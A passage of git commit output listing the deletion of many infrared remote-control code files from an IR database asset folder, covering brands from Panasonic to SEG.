mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/144,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/VCR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/134,97.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Receiver/3,240.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/CD-R/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir delete mode 100644 